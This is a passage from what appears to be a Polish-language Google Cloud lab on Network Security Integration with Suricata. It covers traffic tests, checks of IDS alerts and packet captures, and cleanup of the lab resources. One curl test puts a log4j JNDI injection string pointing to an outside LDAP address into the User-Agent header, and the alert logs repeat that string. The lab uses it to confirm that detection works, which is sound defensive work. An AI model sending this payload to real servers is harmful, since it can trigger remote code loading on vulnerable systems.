curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

Oczekiwane dane wyjściowe:

200
  1. Wysyłanie żądania log4j:
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

Oczekiwane dane wyjściowe:

200

Zwróć uwagę, że ta prośba została zrealizowana. To normalne, ponieważ nie skonfigurowano NSI za pomocą $zonec. Grupa punktów końcowych przechwytywania ma tylko powiązania ze strefami $zonea i $zoneb.

  1. Wróć do Cloud Shell, zamykając sesję SSH.
exit

Weryfikacja, czy Suricata otrzymała i zablokowała szkodliwe żądania

  1. Aby sprawdzić dzienniki, połącz się przez SSH z maszyną wirtualną Suricata w strefie $zonea (suricata-$zonea):
gcloud compute ssh suricata-$zonea \
   --zone $zonea
  1. Wyświetl logi, filtrując je według typu ataku:
cat /var/log/suricata/eve.json | grep log4j

Możesz zobaczyć niektóre wpisy. Jeśli nie widzisz żadnych wpisów, sprawdź logi maszyny wirtualnej Suricata w $zoneb. Przykładowe dane wyjściowe:

{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
  1. Wróć do Cloud Shell, zamykając sesję SSH.
exit

Opcjonalnie możesz połączyć się z maszyną wirtualną Suricata w strefie $zoneb (suricata-$zoneb) przez SSH i sprawdzić logi.

gcloud compute ssh suricata-$zoneb \
   --zone $zoneb

Wyświetl logi, filtrując je według typu ataku:

cat /var/log/suricata/eve.json | grep log4j

Przykładowe dane wyjściowe:

{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}

Dodatkowo przechwytywanie pakietów to dobry sposób na wyświetlanie i weryfikowanie ruchu.

To polecenie spowoduje odfiltrowanie pakietów GENEVE. Przykładowe polecenie:

sudo tcpdump -i any -nn udp port 6081

Teraz wyślij kilka testowych pakietów danych z maszyny wirtualnej klienta. Przykładowe dane wyjściowe:

05:53:50.719074 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.719190 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.728752 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
05:53:50.728785 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0

Zwróć uwagę, że za pomocą tcpdump możesz zobaczyć nagłówki GENEVE. Źródłowy adres IP to adres bramy podsieci (10.0.0.1), a docelowy adres IP to adres reguły przekierowania (10.0.0.11 lub 10.0.0.12). Enkapsulowane pakiety zawierają oryginalne pakiety – adres IP klienta consumer-$zonea (192.168.0.2) lub consumer-$zoneb (192.168.0.3) oraz miejsce docelowe google.com. Potwierdza to, że pakiety są przechwytywane i wysyłane do urządzenia innej firmy za pomocą Network Security Integration.

  1. Wróć do Cloud Shell, zamykając sesję SSH.
exit

Gratulacje. Udało Ci się wdrożyć i przetestować środowisko z integracją Network Security Integration (NSI) w zakresie.

5. Czyszczenie

Konsument

Usuń maszyny wirtualne konsumentów:

gcloud compute instances delete consumer-$zonea \
   --zone $zonea -q

gcloud compute instances delete consumer-$zoneb \
   --zone $zoneb -q

gcloud compute instances delete consumer-$zonec \
   --zone $zonec -q

Usuwanie powiązania zapory sieciowej i zasad:

gcloud compute network-firewall-policies associations delete \
        --firewall-policy consumer-fwpolicy \
        --name consumer-fwpolicy-association \
        --global-firewall-policy -q

gcloud compute network-firewall-policies delete consumer-fwpolicy \
     --global -q

Usuń grupę profili zabezpieczeń i profil zabezpieczeń:

gcloud network-security security-profile-groups delete nsi-spg \
   --organization=$org_id \
   --project=$project_id \
  --location=global -q

gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
    --organization $org_id \
    --location global -q

Usuń powiązanie punktu końcowego i grupy punktów końcowych przechwytywania:

gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
    --location global -q


gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
    --location global -q

Usuwanie Cloud NAT, Cloud Routera i zarezerwowanego adresu IP

gcloud compute routers nats delete consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region -q 

gcloud compute routers delete consumer-$region-cr \
    --region=$region -q

gcloud compute addresses delete consumer-$region-cloudnatip \
     --region=$region -q

Usuwanie sieci VPC i podsieci

gcloud compute networks subnets delete consumer-$region-subnet \
   --region $region -q

gcloud compute networks delete consumer-vpc -q

Producent

Usuwanie wdrożeń przechwytywania:

gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
    --location $zonea -q

gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
    --location $zoneb -q

Usuń grupę wdrożeń przechwytujących (zanim to polecenie zostanie wykonane, wdrożenia przechwytujące muszą zostać usunięte):

gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
    --location global -q

Usuwanie reguł przekierowania:

gcloud compute forwarding-rules delete producer-fr-$zonea \
   --region=projects/$project_id/regions/$region -q

gcloud compute forwarding-rules delete producer-fr-$zoneb \
   --region=projects/$project_id/regions/$region -q

Usuń zarezerwowany adres IP reguły przekierowania:

gcloud compute addresses delete producer-fr-$zonea-ip \
    --region $region -q

gcloud compute addresses delete producer-fr-$zoneb-ip \
    --region $region -q

Usuń usługę backendu:

gcloud compute backend-services delete producer-bes \
  --region=projects/$project_id/regions/$region -q

Usuń niezarządzane grupy instancji:

gcloud compute instance-groups unmanaged delete  producer-$zonea-uig \
   --zone $zonea -q

gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \
   --zone $zoneb -q

Usuwanie kontroli stanu:

gcloud compute health-checks delete nva-hc -q

Usuń maszyny wirtualne producenta:

gcloud compute instances delete suricata-$zonea \
   --zone $zonea -q

gcloud compute instances delete suricata-$zoneb \
   --zone $zoneb -q

Usuń Cloud NAT, Cloud Router i zarezerwowany adres IP:

gcloud compute routers nats delete producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region -q

gcloud compute routers delete producer-$region-cr \
  --region=$region -q

gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q

Usuń powiązanie zasad zapory sieciowej:

gcloud compute network-firewall-policies associations delete \
        --firewall-policy producer-fwpolicy \
        --name producer-fwpolicy-association \
        --global-firewall-policy -q

Usuń zasadę zapory sieciowej:

gcloud compute network-firewall-policies delete producer-fwpolicy \
  --global -q

Usuwanie sieci VPC i podsieci

gcloud compute networks subnets delete producer-$region-subnet \
--region=$region -q

gcloud compute networks delete producer-vpc -q

6. Gratulacje!

Gratulacje, udało Ci się ukończyć ćwiczenie z programowania dotyczące integracji zabezpieczeń sieci w zakresie z Suricatą.

Obejrzyj filmy demonstracyjne dotyczące NSI w paśmie od konkretnych dostawców:

Palo Alto Networks

Fortinet

Zapoznaj się z przewodnikami wdrażania dla poszczególnych dostawców, które mogą być przydatne w Twojej organizacji:

Palo Alto Networks

Fortinet

Checkpoint